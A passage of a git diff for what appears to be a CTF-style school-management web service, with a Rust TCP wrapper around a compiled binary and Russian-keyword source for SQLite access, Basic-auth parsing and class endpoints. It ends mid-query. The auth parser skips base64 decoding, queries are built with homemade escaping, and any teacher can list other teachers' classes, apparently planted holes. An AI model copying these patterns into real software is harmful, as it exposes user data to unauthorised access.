"9171a2ea8a68358193d15dd5d70c1c10a2afc3e7e4c5bc92bc9f025cebd7359c" + +[[package]] +name = "httparse" +version = "1.10.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "6dbf3de79e51f3d586ab4cb9d5c3e2c14aa28ed23d180cf89b4df0454a69cc87" + +[[package]] +name = "httpdate" +version = "1.0.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "df3b46402a9d5adb4c86a0cf463f42e19994e3ee891101b1841f30a545cb49a9" + +[[package]] +name = "hyper" +version = "1.7.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "eb3aa54a13a0dfe7fbe3a59e0c76093041720fdc77b110cc0fc260fafb4dc51e" +dependencies = [ + "atomic-waker", + "bytes", + "futures-channel", + "futures-core", + "http", + "http-body", + "httparse", + "httpdate", + "itoa", + "pin-project-lite", + "pin-utils", + "smallvec", + "tokio", +] + +[[package]] +name = "hyper-util" +version = "0.1.17" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "3c6995591a8f1380fcb4ba966a252a4b29188d51d2b89e3a252f5305be65aea8" +dependencies = [ + "bytes", + "futures-core", + "http", + "http-body", + "hyper", + "pin-project-lite", + "tokio", + "tower-service", +] + +[[package]] +name = "itoa" +version = "1.0.15" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "4a5f13b858c8d314ee3e8f639011f7ccefe71f97f96e50151fb991f267928e2c" + +[[package]] +name = "libc" +version = "0.2.177" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "2874a2af47a2325c2001a6e6fad9b16a53b802102b528163885171cf92b15976" + +[[package]] +name = "lock_api" +version = "0.4.14" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "224399e74b87b5f3557511d98dff8b14089b3dadafcab6bb93eab67d3aace965" +dependencies = [ + "scopeguard", +] + +[[package]] +name = "log" +version = "0.4.28" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "34080505efa8e45a4b816c349525ebe327ceaa8559756f0356cba97ef3bf7432" + +[[package]] +name = "matchit" +version = "0.8.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "47e1ffaa40ddd1f3ed91f717a33c8c0ee23fff369e3aa8772b9605cc1d22f4c3" + +[[package]] +name = "memchr" +version = "2.7.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f52b00d39961fc5b2736ea853c9cc86238e165017a493d1d5c8eac6bdc4cc273" + +[[package]] +name = "mime" +version = "0.3.17" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "6877bb514081ee2a7ff5ef9de3281f14a4dd4bceac4c09388074a6b5df8a139a" + +[[package]] +name = "mime_guess" +version = "2.0.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f7c44f8e672c00fe5308fa235f821cb4198414e1c77935c1ab6948d3fd78550e" +dependencies = [ + "mime", + "unicase", +] + +[[package]] +name = "mio" +version = "1.1.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "69d83b0086dc8ecf3ce9ae2874b2d1290252e2a30720bea58a5c6639b0092873" +dependencies = [ + "libc", + "wasi", + "windows-sys 0.61.2", +] + +[[package]] +name = "once_cell" +version = "1.21.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "42f5e15c9953c5e4ccceeb2e7382a716482c34515315f7b03532b8b4e8393d2d" + +[[package]] +name = "parking_lot" +version = "0.12.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "93857453250e3077bd71ff98b6a65ea6621a19bb0f559a85248955ac12c45a1a" +dependencies = [ + "lock_api", + "parking_lot_core", +] + +[[package]] +name = "parking_lot_core" +version = "0.9.12" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "2621685985a2ebf1c516881c026032ac7deafcda1a2c9b7850dc81e3dfcb64c1" +dependencies = [ + "cfg-if", + "libc", + "redox_syscall", + "smallvec", + "windows-link", +] + +[[package]] +name = "percent-encoding" +version = "2.3.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9b4f627cb1b25917193a259e49bdad08f671f8d9708acfd5fe0a8c1455d87220" + +[[package]] +name = "pin-project-lite" +version = "0.2.16" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "3b3cff922bd51709b605d9ead9aa71031d81447142d828eb4a6eba76fe619f9b" + +[[package]] +name = "pin-utils" +version = "0.1.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8b870d8c151b6f2fb93e84a13146138f05d02ed11c7e7c54f8826aaaf7c9f184" + +[[package]] +name = "proc-macro2" +version = "1.0.101" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "89ae43fd86e4158d6db51ad8e2b80f313af9cc74f5c0e03ccb87de09998732de" +dependencies = [ + "unicode-ident", +] + +[[package]] +name = "quote" +version = "1.0.41" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ce25767e7b499d1b604768e7cde645d14cc8584231ea6b295e9c9eb22c02e1d1" +dependencies = [ + "proc-macro2", +] + +[[package]] +name = "redox_syscall" +version = "0.5.18" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ed2bf2547551a7053d6fdfafda3f938979645c44812fbfcda098faae3f1a362d" +dependencies = [ + "bitflags", +] + +[[package]] +name = "ryu" +version = "1.0.20" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "28d3b2b1366ec20994f1fd18c3c594f05c5dd4bc44d8bb0c1c632c8d6829481f" + +[[package]] +name = "scopeguard" +version = "1.2.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "94143f37725109f92c262ed2cf5e59bce7498c01bcc1502d7b9afe439a4e9f49" + +[[package]] +name = "serde" +version = "1.0.228" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9a8e94ea7f378bd32cbbd37198a4a91436180c5bb472411e48b5ec2e2124ae9e" +dependencies = [ + "serde_core", +] + +[[package]] +name = "serde_core" +version = "1.0.228" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "41d385c7d4ca58e59fc732af25c3983b67ac852c1a25000afe1175de458b67ad" +dependencies = [ + "serde_derive", +] + +[[package]] +name = "serde_derive" +version = "1.0.228" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d540f220d3187173da220f885ab66608367b6574e925011a9353e4badda91d79" +dependencies = [ + "proc-macro2", + "quote", + "syn", +] + +[[package]] +name = "serde_json" +version = "1.0.145" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "402a6f66d8c709116cf22f558eab210f5a50187f702eb4d7e5ef38d9a7f1c79c" +dependencies = [ + "itoa", + "memchr", + "ryu", + "serde", + "serde_core", +] + +[[package]] +name = "serde_path_to_error" +version = "0.1.20" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "10a9ff822e371bb5403e391ecd83e182e0e77ba7f6fe0160b795797109d1b457" +dependencies = [ + "itoa", + "serde", + "serde_core", +] + +[[package]] +name = "serde_urlencoded" +version = "0.7.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d3491c14715ca2294c4d6a88f15e84739788c1d030eed8c110436aafdaa2f3fd" +dependencies = [ + "form_urlencoded", + "itoa", + "ryu", + "serde", +] + +[[package]] +name = "signal-hook-registry" +version = "1.4.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b2a4719bff48cee6b39d12c020eeb490953ad2443b7055bd0b21fca26bd8c28b" +dependencies = [ + "libc", +] + +[[package]] +name = "smallvec" +version = "1.15.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "67b1b7a3b5fe4f1376887184045fcf45c69e92af734b7aaddc05fb777b6fbd03" + +[[package]] +name = "socket2" +version = "0.6.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "17129e116933cf371d018bb80ae557e889637989d8638274fb25622827b03881" +dependencies = [ + "libc", + "windows-sys 0.60.2", +] + +[[package]] +name = "syn" +version = "2.0.107" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "2a26dbd934e5451d21ef060c018dae56fc073894c5a7896f882928a76e6d081b" +dependencies = [ + "proc-macro2", + "quote", + "unicode-ident", +] + +[[package]] +name = "sync_wrapper" +version = "1.0.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0bf256ce5efdfa370213c1dabab5935a12e49f2c58d15e9eac2870d3b4f27263" + +[[package]] +name = "tokio" +version = "1.48.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ff360e02eab121e0bc37a2d3b4d4dc622e6eda3a8e5253d5435ecf5bd4c68408" +dependencies = [ + "bytes", + "libc", + "mio", + "parking_lot", + "pin-project-lite", + "signal-hook-registry", + "socket2", + "tokio-macros", + "windows-sys 0.61.2", +] + +[[package]] +name = "tokio-macros" +version = "2.6.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "af407857209536a95c8e56f8231ef2c2e2aff839b22e07a1ffcbc617e9db9fa5" +dependencies = [ + "proc-macro2", + "quote", + "syn", +] + +[[package]] +name = "tokio-util" +version = "0.7.16" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "14307c986784f72ef81c89db7d9e28d6ac26d16213b109ea501696195e6e3ce5" +dependencies = [ + "bytes", + "futures-core", + "futures-sink", + "pin-project-lite", + "tokio", +] + +[[package]] +name = "tower" +version = "0.5.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d039ad9159c98b70ecfd540b2573b97f7f52c3e8d9f8ad57a24b916a536975f9" +dependencies = [ + "futures-core", + "futures-util", + "pin-project-lite", + "sync_wrapper", + "tokio", + "tower-layer", + "tower-service", + "tracing", +] + +[[package]] +name = "tower-http" +version = "0.6.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "adc82fd73de2a9722ac5da747f12383d2bfdb93591ee6c58486e0097890f05f2" +dependencies = [ + "bitflags", + "bytes", + "futures-core", + "futures-util", + "http", + "http-body", + "http-body-util", + "http-range-header", + "httpdate", + "mime", + "mime_guess", + "percent-encoding", + "pin-project-lite", + "tokio", + "tokio-util", + "tower-layer", + "tower-service", + "tracing", +] + +[[package]] +name = "tower-layer" +version = "0.3.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "121c2a6cda46980bb0fcd1647ffaf6cd3fc79a013de288782836f6df9c48780e" + +[[package]] +name = "tower-service" +version = "0.3.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8df9b6e13f2d32c91b9bd719c00d1958837bc7dec474d94952798cc8e69eeec3" + +[[package]] +name = "tracing" +version = "0.1.41" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "784e0ac535deb450455cbfa28a6f0df145ea1bb7ae51b821cf5e7927fdcfbdd0" +dependencies = [ + "log", + "pin-project-lite", + "tracing-core", +] + +[[package]] +name = "tracing-core" +version = "0.1.34" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b9d12581f227e93f094d3af2ae690a574abb8a2b9b7a96e7cfe9647b2b617678" +dependencies = [ + "once_cell", +] + +[[package]] +name = "unicase" +version = "2.8.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "75b844d17643ee918803943289730bec8aac480150456169e647ed0b576ba539" + +[[package]] +name = "unicode-ident" +version = "1.0.19" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f63a545481291138910575129486daeaf8ac54aee4387fe7906919f7830c7d9d" + +[[package]] +name = "wasi" +version = "0.11.1+wasi-snapshot-preview1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ccf3ec651a847eb01de73ccad15eb7d99f80485de043efb2f370cd654f4ea44b" + +[[package]] +name = "windows-link" +version = "0.2.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f0805222e57f7521d6a62e36fa9163bc891acd422f971defe97d64e70d0a4fe5" + +[[package]] +name = "windows-sys" +version = "0.60.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f2f500e4d28234f72040990ec9d39e3a6b950f9f22d3dba18416c35882612bcb" +dependencies = [ + "windows-targets", +] + +[[package]] +name = "windows-sys" +version = "0.61.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ae137229bcbd6cdf0f7b80a31df61766145077ddf49416a728b02cb3921ff3fc" +dependencies = [ + "windows-link", +] + +[[package]] +name = "windows-targets" +version = "0.53.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "4945f9f551b88e0d65f3db0bc25c33b8acea4d9e41163edf90dcd0b19f9069f3" +dependencies = [ + "windows-link", + "windows_aarch64_gnullvm", + "windows_aarch64_msvc", + "windows_i686_gnu", + "windows_i686_gnullvm", + "windows_i686_msvc", + "windows_x86_64_gnu", + "windows_x86_64_gnullvm", + "windows_x86_64_msvc", +] + +[[package]] +name = "windows_aarch64_gnullvm" +version = "0.53.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a9d8416fa8b42f5c947f8482c43e7d89e73a173cead56d044f6a56104a6d1b53" + +[[package]] +name = "windows_aarch64_msvc" +version = "0.53.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b9d782e804c2f632e395708e99a94275910eb9100b2114651e04744e9b125006" + +[[package]] +name = "windows_i686_gnu" +version = "0.53.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "960e6da069d81e09becb0ca57a65220ddff016ff2d6af6a223cf372a506593a3" + +[[package]] +name = "windows_i686_gnullvm" +version = "0.53.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "fa7359d10048f68ab8b09fa71c3daccfb0e9b559aed648a8f95469c27057180c" + +[[package]] +name = "windows_i686_msvc" +version = "0.53.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1e7ac75179f18232fe9c285163565a57ef8d3c89254a30685b57d83a38d326c2" + +[[package]] +name = "windows_x86_64_gnu" +version = "0.53.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9c3842cdd74a865a8066ab39c8a7a473c0778a3f29370b5fd6b4b9aa7df4a499" + +[[package]] +name = "windows_x86_64_gnullvm" +version = "0.53.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0ffa179e2d07eee8ad8f57493436566c7cc30ac536a3379fdf008f47f6bb7ae1" + +[[package]] +name = "windows_x86_64_msvc" +version = "0.53.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d6bbff5f0aada427a1e5a6da5f1f98158182f26556f345ac9e04d36d0ebed650" + +[[package]] +name = "wrapper" +version = "0.1.0" +dependencies = [ + "axum", + "hyper-util", + "tokio", + "tower-http", +] diff --git a/wrapper/Cargo.toml b/wrapper/Cargo.toml new file mode 100644 index 0000000..f92a687 --- /dev/null +++ b/wrapper/Cargo.toml @@ -0,0 +1,10 @@ +[package] +name = "wrapper" +version = "0.1.0" +edition = "2024" + +[dependencies] +axum = "0.8.6" +hyper-util = { version = "0.1.17", features = ["server", "tokio", "http1"] } +tokio = { version = "1.48.0", features = ["full"] } +tower-http = { version = "0.6.6", features = ["fs"] } diff --git a/wrapper/src/main.rs b/wrapper/src/main.rs new file mode 100644 index 0000000..c6d2af1 --- /dev/null +++ b/wrapper/src/main.rs @@ -0,0 +1,188 @@ +use core::net::SocketAddr; +use core::time::Duration; +use std::path::PathBuf; +use std::process::Stdio; +use std::{env, error}; + +use axum::body::Body; +use axum::http::{HeaderValue, Request, header}; +use axum::middleware::Next; +use axum::response::Response; +use axum::{Router, middleware}; +use hyper_util::rt::{TokioExecutor, TokioIo}; +use hyper_util::server::conn::auto; +use hyper_util::service::TowerToHyperService; +use tokio::io::{AsyncReadExt, AsyncWriteExt}; +use tokio::net::{TcpListener, TcpStream}; +use tokio::process::Command; +use tokio::sync::OnceCell; +use tokio::sync::mpsc::{self, Receiver}; +use tokio::task::JoinSet; +use tower_http::services::ServeDir; + +const MAX_CONCURRENT: usize = 100; +const MAX_BUFFERED: usize = 500; +const DEFAULT_BIN_PATH: &str = "../build/target.exe"; +const DEFAULT_STATIC_PATH: &str = "../frontend"; +const TIMEOUT_SECS: u64 = 10; + +static BIN_PATH: OnceCell = OnceCell::const_new(); +static STATIC_PATH: OnceCell = OnceCell::const_new(); + +#[derive(Debug)] +#[allow(dead_code)] +struct NetworkConnection(pub TcpStream, pub SocketAddr); + +#[tokio::main] +async fn main() -> Result<(), Box> { + if let Ok(path) = env::var("BIN_PATH") + && path != "" + { + BIN_PATH.set(PathBuf::from(path)).unwrap(); + } else { + BIN_PATH.set(PathBuf::from(DEFAULT_BIN_PATH)).unwrap(); + } + + if let Ok(path) = env::var("STATIC_PATH") + && path != "" + { + STATIC_PATH.set(PathBuf::from(path)).unwrap(); + } else { + STATIC_PATH.set(PathBuf::from(DEFAULT_STATIC_PATH)).unwrap(); + } + + Command::new(BIN_PATH.get().unwrap()) + .arg("-роанапур=истина") + .spawn()? + .wait() + .await?; + + let listener = TcpListener::bind("0.0.0.0:1337").await?; + let (tx, rx) = mpsc::channel::(MAX_BUFFERED); + + tokio::spawn(process_connections(rx)); + + loop { + let connection = listener.accept().await?; + if tx + .try_send(NetworkConnection(connection.0, connection.1)) + .is_err() + { + println!( + "Connection queue full, dropping connection from {}", + connection.1 + ); + } + } +} + +async fn process_connections(mut rx: Receiver) { + let mut join_set = JoinSet::new(); + + loop { + let available = MAX_CONCURRENT - join_set.len(); + tokio::select! { + connection = rx.recv(), if available > 0 => { + if let Some(connection) = connection { + join_set.spawn(handle_connection_or_timeout(connection)); + } + }, + _ = join_set.join_next(), if join_set.len() > 0 => {} + } + } +} + +async fn handle_connection_or_timeout( + connection: NetworkConnection, +) -> Result<(), Box> { + tokio::select! { + result = handle_connection(connection) => { + result + }, + _ = tokio::time::sleep(Duration::from_secs(TIMEOUT_SECS)) => { + Err("Connection timed out".into()) + } + } +} + +async fn handle_connection( + mut connection: NetworkConnection, +) -> Result<(), Box> { + let is_frontend = check_is_frontend_request(&mut connection).await?; + + if is_frontend { + return serve_frontend_file(connection).await; + } + + let mut child = Command::new(BIN_PATH.get().unwrap()) + .arg("-подшефный=истина") + .stdin(Stdio::piped()) + .stderr(Stdio::piped()) + .spawn()?; + + let mut stderr = child.stderr.take().unwrap(); + let mut stdin = child.stdin.take().unwrap(); + + loop { + let mut tcp_buf = [0u8; 4096]; + let mut stderr_buf = [0u8; 4096]; + + tokio::select! { + result = connection.0.read(&mut tcp_buf) => match result { + Ok(how_many) => stdin.write_all(&tcp_buf[0..how_many]).await?, + Err(e) => break Err(e.into()), + }, + result = stderr.read(&mut stderr_buf) => match result { + Ok(0) => break Ok(()), + Ok(how_many) => connection.0.write_all(&stderr_buf[0..how_many]).await?, + Err(e) => break Err(e.into()), + }, + } + } +} + +async fn check_is_frontend_request( + connection: &mut NetworkConnection, +) -> Result> { + let mut peek_buf = [0u8; 8]; + let bytes_read = connection.0.peek(&mut peek_buf).await?; + + if bytes_read == 0 { + return Err("Connection closed before sending data".into()); + } + + let request_str = String::from_utf8_lossy(&peek_buf); + + return Ok(bytes_read == peek_buf.len() + && request_str.starts_with("GET") + && !request_str.ends_with("api")); +} + +async fn serve_frontend_file( + connection: NetworkConnection, +) -> Result<(), Box> { + let stream = connection.0; + + let app = Router::new() + .fallback_service( + ServeDir::new(STATIC_PATH.get().unwrap()).append_index_html_on_directories(true), + ) + .layer(middleware::from_fn(add_connection_close)); + + let tower_svc = app.into_service(); + let hyper_svc = TowerToHyperService::new(tower_svc); + + auto::Builder::new(TokioExecutor::new()) + .serve_connection(TokioIo::new(stream), hyper_svc) + .await?; + + Ok(()) +} + +async fn add_connection_close(req: Request, next: Next) -> Response { + let mut res = next.run(req).await; + + res.headers_mut() + .insert(header::CONNECTION, HeaderValue::from_static("close")); + res +} diff --git a/исх/бд/скуля/скуля.tri b/исх/бд/скуля/скуля.tri new file mode 100644 index 0000000..f479e81 --- /dev/null +++ b/исх/бд/скуля/скуля.tri @@ -0,0 +1,101 @@ +модуль скуля +осторожно // cognitohazard! + +импорт "стд::вывод" +импорт "исх/спринтф" +импорт "исх/строка" +импорт "исх/форматы/джесон" + +// c:include "sckulya.h" + +фн tri_sqlite_open(файл: Строка, оплошность := Строка): Цел64 @внеш +фн tri_sqlite_close(бд: Цел64): Цел64 @внеш +фн tri_sqlite_exec(бд: Цел64, прошение: Строка, оплошность := Строка) @внеш +фн tri_sqlite_query(бд: Цел64, прошение: Строка, результат := Строка, оплошность := Строка): Цел64 @внеш + +тип Картотека* = класс { + ручка: Цел64 := -1 +} + +фн открыть картотеку*(путь: Строка): Картотека { + пусть оплошность := "" + пусть ручка = tri_sqlite_open(путь, оплошность) + + если оплошность # "" { + авария(спринтф.ф("не удалось открыть картотеку: $стр", оплошность)) + } + + вернуть Картотека{ + ручка: ручка + } +} + +фн (к: Картотека) закрыть*() { + пусть код = tri_sqlite_close(к.ручка) + + если код # 0 { + авария(спринтф.ф("не удалось закрыть картотеку, код $цел", код)) + } +} + +фн (к: Картотека) выполнить*(прошение: Строка, оплошность := Строка) { + tri_sqlite_exec(к.ручка, прошение, оплошность) +} + +фн (к: Картотека) запросить*(прошение: Строка, оплошность := Строка): джесон.ДжесонМногоЗначений { + пусть результат := "" + пусть код = tri_sqlite_query(к.ручка, прошение, результат, оплошность) + + если оплошность # "" { + вернуть джесон.ДжесонМногоЗначений{} + } + + пусть объект = джесон.парсить(спринтф.ф("{\"данные\": $стр}", результат), оплошность) + + если оплошность # "" { + вернуть джесон.ДжесонМногоЗначений{} + } + + вернуть объект.значения[0].значение(:джесон.ДжесонМногоЗначений) +} + +тип Аргумент = класс { + +} + +фн экранировать(т аргумента: Слово64, аргумент: *): Строка { + пусть кек = аргумент(:Слово64) + + если т аргумента = тег(Строка) { + пусть знач = кек(:осторожно Строка) + + вернуть спринтф.ф("'$стр'", строка.заменить(знач, "'", "''")) + } + + если т аргумента = тег(Цел64) { + пусть знач = кек(:осторожно Цел64) + вернуть спринтф.ф("$цел", знач) + } + + авария("неподдерживаемый тип аргумента") +} + +фн (к: Картотека) запросить безопасно*(прошение: Строка, оплошность := Строка, аргументы: ...*): джесон.ДжесонМногоЗначений { + пусть части прошения = строка.разобрать(прошение, "?") + + если длина(части прошения) - 1 # длина(аргументы) { + авария("число аргументов не совпадает с числом подстановок") + } + + пусть собранное прошение := "" + + пусть ай := 0 + пока ай < длина(аргументы) { + собранное прошение := строка.собрать(собранное прошение, части прошения[ай], экранировать(тег(аргументы[ай]), нечто(аргументы[ай]))) + ай++ + } + + собранное прошение := строка.собрать(собранное прошение, части прошения[ай]) + + вернуть к.запросить(собранное прошение, оплошность) +} diff --git a/исх/бюрократия/бюрократия.tri b/исх/бюрократия/бюрократия.tri new file mode 100644 index 0000000..d06d068 --- /dev/null +++ b/исх/бюрократия/бюрократия.tri @@ -0,0 +1,28 @@ +модуль бюрократия + +импорт "исх/строка" +импорт "исх/сеть/хттп" + +тип Паспорт* = класс { + имя пользователя*: Строка := "" + пароль*: Строка := "" +} + +фн получить данные паспорта*(обращение: хттп.ХттпОбращение): мб Паспорт { + цикл [номер]заглавие среди обращение.заглавия { + если заглавие.имя = "Authorization" { + пусть части = строка.разобрать(заглавие.значение, " ") + + если длина(части) # 3 | части[0] # "Basic" { + вернуть пусто + } + + вернуть Паспорт{ + имя пользователя: части[1], + пароль: части[2], + } + } + } + + вернуть пусто +} diff --git a/исх/властелины/главный/главный.tri b/исх/властелины/главный/главный.tri new file mode 100644 index 0000000..2c889d8 --- /dev/null +++ b/исх/властелины/главный/главный.tri @@ -0,0 +1,18 @@ +модуль главный + +импорт "исх/массивы" +импорт "исх/сеть/хттп" +импорт "исх/сеть/хттп/маршрутизатор" + +фн главный*(путь: Строка, параметры: массивы.Строки, обращение: маршрутизатор.Обращение): хттп.ХттпОтвет { + вернуть хттп.ХттпОтвет{ + туловище: "Привет, мир!", + } +} + +фн добавить маршруты*(маршрутизатор: маршрутизатор.Маршрутизатор): маршрутизатор.Маршрутизатор { + маршрутизатор.добавить маршрут("/api/", массивы.Строки["GET"], главный) + + вернуть маршрутизатор +} + diff --git a/исх/властелины/классы/классы.tri b/исх/властелины/классы/классы.tri new file mode 100644 index 0000000..100e1ba --- /dev/null +++ b/исх/властелины/классы/классы.tri @@ -0,0 +1,373 @@ +модуль классы + +импорт "стд::вывод" +импорт "исх/строка" +импорт "исх/спринтф" +импорт "исх/массивы" +импорт "исх/сеть/хттп" +импорт "исх/форматы/джесон" +импорт "исх/сеть/хттп/маршрутизатор" +импорт "исх/картотека" +импорт "исх/картотека/репозитории" +импорт "исх/бюрократия" + +фн список классов*(путь: Строка, параметры: массивы.Строки, обращение: маршрутизатор.Обращение): хттп.ХттпОтвет { + пусть оплошность := "" + пусть картотека = картотека.зайти() + пусть пользователь = репозитории.авторизовать по паспорту(бюрократия.получить данные паспорта(обращение), оплошность) + + если оплошность # "" { + вернуть хттп.ответ_500() + } + + если пользователь = пусто { + вернуть хттп.ответ_401() + } + + пусть учитель = репозитории.пользователь учитель(пользователь^.идентификатор, оплошность) + пусть админ = репозитории.пользователь админ(пользователь^.идентификатор, оплошность) + + если учитель = пусто & ~админ { + вернуть хттп.ответ_403() + } + + пусть фильтр по учителю := -1 + + пусть параметр учитель = обращение.запрос-в-пути.найти("учитель") + + если параметр учитель # пусто { + пусть номер байта := 0 + строка.извлечь цел(параметр учитель^.значение, номер байта, фильтр по учителю) + } иначе если ~админ { + фильтр по учителю := учитель^.идентификатор + } + + если фильтр по учителю = -1 { + вернуть хттп.ответ_400() + } + + пусть классы := картотека.запросить безопасно(` + SELECT id, number, letter, creator_teacher_id + FROM classes + WHERE creator_teacher_id = ? + `, оплошность, фильтр по учителю) + + пусть джесон ответ = джесон.ДжесонМногоЗначений{} + + цикл [номер телефона мамы]клass среди классы.значения { + пусть объект = клass(:джесон.ДжесонОбъект) + + пусть идентификатор = объект.получить("id").число()^.значение + пусть номер = объект.получить("number").число()^.значение + пусть буква = объект.получить("letter").строка()^ + пусть создатель = объект.получить("creator_teacher_id").число()^.значение + + пусть джесон клass = джесон.ДжесонОбъект{} + джесон клass.вставить("идентификатор", джесон.ДжесонЧисло{ значение: идентификатор }) + джесон клass.вставить("номер", джесон.ДжесонЧисло{ значение: номер }) + джесон клass.вставить("буква", джесон.ДжесонСтрока{ значение: буква }) + джесон клass.вставить("создатель", джесон.ДжесонЧисло{ значение: создатель }) + + джесон ответ.значения.добавить(джесон клass) + } + + пусть туловище = джесон.сериализовать(джесон.ДжесонОбъект{ + значения: джесон.ДжесонКлючЗначения[ + джесон.ДжесонКлючЗначение{ + ключ: "классы", + значение: джесон ответ + } + ] + }) + + вернуть хттп.ХттпОтвет{ + туловище: туловище + } +} + +фн создать клass*(путь: Строка, параметры: массивы.Строки, обращение: маршрутизатор.Обращение): хттп.ХттпОтвет { + пусть оплошность := "" + пусть картотека = картотека.зайти() + + пусть пользователь = репозитории.авторизовать по паспорту(бюрократия.получить данные паспорта(обращение), оплошность) + + если оплошность # "" { + вернуть хттп.ответ_500() + } + + если пользователь = пусто { + вернуть хттп.ответ_401() + } + + пусть учитель = репозитории.пользователь учитель(пользователь^.идентификатор, оплошность) + + если оплошность # "" { + вернуть хттп.ответ_500() + } + + если учитель = пусто { + вернуть хттп.ответ_403() + } + + + пусть данные = джесон.парсить(обращение.туловище, оплошность) + + если оплошность # "" { + вернуть хттп.ответ_400() + } + + пусть номер := данные.получить("номер").число() + пусть буква := данные.получить("буква").строка() + + если номер = пусто | буква = пусто { + вернуть хттп.ответ_400() + } + + + пусть ответ = картотека.запросить безопасно(` + INSERT INTO classes (number, letter, creator_teacher_id) + VALUES (?, ?, ?) + RETURNING id, number, letter, creator_teacher_id + `, оплошность, номер^.значение, буква^, учитель^.идентификатор) + + если оплошность # "" { + вернуть хттп.ответ_422() + } + + если длина(ответ.значения) = 0 { + вернуть хттп.ответ_500() + } + + пусть созданный = ответ.значения[0](:джесон.ДжесонОбъект) + пусть идентификатор = созданный.получить("id").число()^.значение + пусть создан номер = созданный.получить("number").число()^.значение + пусть создан буква = созданный.получить("letter").строка()^ + пусть создан создатель = созданный.получить("creator_teacher_id").число()^.значение + + пусть тело = джесон.сериализовать(джесон.ДжесонОбъект{ + значения: джесон.ДжесонКлючЗначения[ + джесон.ДжесонКлючЗначение{ключ: "идентификатор", значение: джесон.ДжесонЧисло{значение: идентификатор}}, + джесон.ДжесонКлючЗначение{ключ: "номер", значение: джесон.ДжесонЧисло{значение: создан номер}}, + джесон.ДжесонКлючЗначение{ключ: "буква", значение: джесон.ДжесонСтрока{значение: создан буква}}, + джесон.ДжесонКлючЗначение{ключ: "создатель", значение: джесон.ДжесонЧисло{значение: создан создатель}} + ] + }) + + вернуть хттп.создать ответ( + хттп.ответ_201(), + хттп.ХттпОтвет{туловище: тело} + ) +} + +фн удалить клass*(путь: Строка, параметры: массивы.Строки, обращение: маршрутизатор.Обращение): хттп.ХттпОтвет { + пусть оплошность := "" + пусть картотека = картотека.зайти() + + пусть пользователь = репозитории.авторизовать по паспорту(бюрократия.получить данные паспорта(обращение), оплошность) + + если оплошность # "" { + вернуть хттп.ответ_500() + } + + если пользователь = пусто { + вернуть хттп.ответ_401() + } + + пусть учитель = репозитории.пользователь учитель(пользователь^.идентификатор, оплошность) + пусть админ = репозитории.пользователь админ(пользователь^.идентификатор, оплошность) + + если оплошность # "" { + вернуть хттп.ответ_500() + } + + если учитель = пусто & ~админ { + вернуть хттп.ответ_403() + } + + если длина(параметры) < 1 { + вернуть хттп.ответ_400() + } + + пусть ид класса = параметры[0] + + пусть ответ := джесон.ДжесонМногоЗначений{} + + если админ { + ответ := картотека.запросить безопасно(` + DELETE FROM classes WHERE id = ? + RETURNING id + `, оплошность, ид класса) + } иначе { + ответ := картотека.запросить безопасно(` + DELETE FROM classes WHERE id = ? AND 